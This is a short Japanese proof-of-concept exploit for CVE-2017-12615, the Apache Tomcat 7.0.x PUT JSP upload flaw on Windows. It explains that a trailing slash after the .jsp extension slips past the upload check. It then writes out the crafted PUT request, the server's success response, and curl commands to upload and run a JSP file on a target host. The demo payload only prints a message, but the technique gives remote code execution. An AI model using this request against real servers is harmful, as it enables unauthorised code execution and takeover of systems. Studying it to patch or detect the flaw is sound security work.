
Apache Tomcat 7.0.x CVE-2017-12615 PUT JSP 脆弱性のPOCエクスプロイト。
Windows上で動作するApache Tomcat 7.0.0から7.0.79を対象としたPOCエクスプロイトです。CVE-2017-12615 PUT JSP脆弱性。
設計上、Apache TomcatサーバーではPUTメソッドによるJSPファイルのアップロードは許可されていません。 これはおそらく、攻撃者がJSPシェルをアップロードしてサーバー上でリモートコード実行を取得するのを防ぐためのセキュリティ対策です。 しかし、チェックが不十分なため、攻撃者は特別に細工されたHTTPリクエストを使用してTomcatサーバーにPUTメソッドを要求することで、PUTが有効になっている7.0.{0 to 79} Tomcatサーバー上でリモートコード実行を取得できる可能性があります。でも、本当に特別ですか?お願いしますよ。
ファイル名の拡張子の後ろに「/」文字を追加することで、ファイル拡張子チェックを回避できます。それだけです。つまり、実際にはそれほど特別ではありません。
PUT /myfile.jsp/
Host: domain-name:port
Connection: close
Content-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
Content-Length: 0
Date: Sat, 23 Sep 2017 06:36:36 GMT
Connection: close
<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write executed.</h3></body></html>"); %>
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp
curl http://target-host-or-ip-address:port/test.jsp